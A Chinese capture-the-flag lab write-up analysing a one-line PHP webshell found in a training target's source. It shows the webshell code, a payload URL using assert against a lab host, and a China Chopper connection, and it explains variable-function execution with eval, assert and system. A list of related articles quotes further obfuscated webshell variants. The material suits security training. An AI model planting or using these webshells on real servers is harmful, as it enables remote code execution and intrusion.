一、访问链接

二、下载系统源码后直接放到D盾里扫描,扫到后门文件

三、查看该木马文件

<?php error_reporting(0); $_GET['POST']($_POST['GET']);?>

1.error_reporting(0);      关闭错误报告

2.$_GET['POST']($_POST['GET']);     一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台

因此构造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密码为GET  连接菜刀,字符编码:utf-8

 

PHP有很多危险的函数如:eval、system、assert等,那么我们可以使用这些危险的函数来达到后门的目的:

eval('phpinfo();');  //eval() 把字符串作为PHP代码执行 echo system('dir'); //执行外部程序,并且显示输出 assert('phpinfo();');// 如果参数是字符串,它将会被当做 PHP 代码来执行 assert(phpinfo()); //assert参数不加引号,也可以执行哦

好了,看到解题思路里都是用POST=assert,那为什么不用POST=eval呢?
再看一个例子:


$str='assert'; $str('phpinfo();');  //正常执行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9  报错了 $str='system'; $str('cd');  //正常执行

可看到,eval并不支持可变变量形式,除了eval,还有echo、print、unset、isset、empty、include、require等语句,所以这里不能使用POST=eval形式,因为eval不支持可变变量形式。
也可以构造如POST=system。post里面为cmd/shell命令,如GET=dir。通过shell命令操作也可以得到key值,当前你要用eval,可以用shell命令生成一个一句话后门即可。

四、在/www/html找到KEY

WebShell代码分析溯源(第1题)墨者学院的更多相关文章

  1. WebShell代码分析溯源(第1题)

    <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...

  2. WebShell代码分析溯源(一)

    WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...

  3. WebShell代码分析溯源(十一)

    WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...

  4. WebShell代码分析溯源(十)

    WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...

  5. WebShell代码分析溯源(九)

    WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...

  6. WebShell代码分析溯源(八)

    WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...

  7. WebShell代码分析溯源(七)

    WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...

  8. WebShell代码分析溯源(六)

    WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ...

  9. WebShell代码分析溯源(五)

    WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($ar ...

随机推荐

  1. python第二十九课——文件读写(读取读取中文字符)

    演示:读取中文字符 结论: 1).如果不设置encoding,默认使用gbk进行编解码 2).如果编码和解码不一致,最终导致报错,但是一旦设置了errors='ingore',那么就不会报错,而采取乱 ...

  2. Nescafe #29 NOIP模拟赛

    Nescafe #29 NOIP模拟赛 不知道这种题发出来算不算侵权...毕竟有的题在$bz$上是权限题,但是在$vijos$似乎又有原题...如果这算是侵权的话请联系我,我会尽快删除,谢谢~ 今天开 ...

  3. mpvue 应用 Vant Weapp框架开发微信小程序

    今天在使用mpvue开发微信小程序的过程中需要实现一个底部上拉选择列表的功能,因为之前做过H5微信公众号的开发,使用的就是有赞的Vant-ui,所以第一时间就想到了有赞的Vant Weapp UI框架 ...

  4. python-json模块扩展

    sort_keys=True, indent=4, separators=(',', ': ') 格式 json.dumps(response,sort_keys=True, indent=4, se ...

  5. CSS居中布局

    一:水平居中方案: 1.行内元素 设置 text-align:center 2.定宽块状元素 设置 左右 margin 值为 auto 3.不定宽块状元素 a:在元素外加入 table 标签(完整的, ...

  6. 青岛大学开源OJ平台搭建

    源码地址为:https://github.com/QingdaoU/OnlineJudge 可参考的文档为:https://github.com/QingdaoU/OnlineJudgeDeploy/ ...

  7. mtr,traceroute,pathping,tracert,ping

    mtr,traceroute,pathping,tracert,ping netstat -ntu | tail -n +3|awk '{ print $5}' | cut -d : -f 1 | s ...

  8. 网页设计之字体和 CSS 调整

    调整 CSS 首先,我们先来看看问题的源头.CSS 的出现曾是技术的一大进步.你可以用一个集中式的样式表来装饰多个网页.如今很多 Web 开发者都会使用 Bootstrap 这样的框架. 这些框架当然 ...

  9. Blog Contents

    This page is intently left for contents catalog of my articles. |----------------------------------- ...

  10. 浅拷贝与深拷贝的实现方式、区别;deepcopy如果你来设计,如何实现(一)

    浅拷贝与深拷贝的实现方式.区别:deepcopy如果你来设计,如何实现: copy浅拷贝:没有拷贝子对象,所以原始数据改变,子对象改变 deepcopy深拷贝:包含对象里面的子对象的拷贝,所以原始对象 ...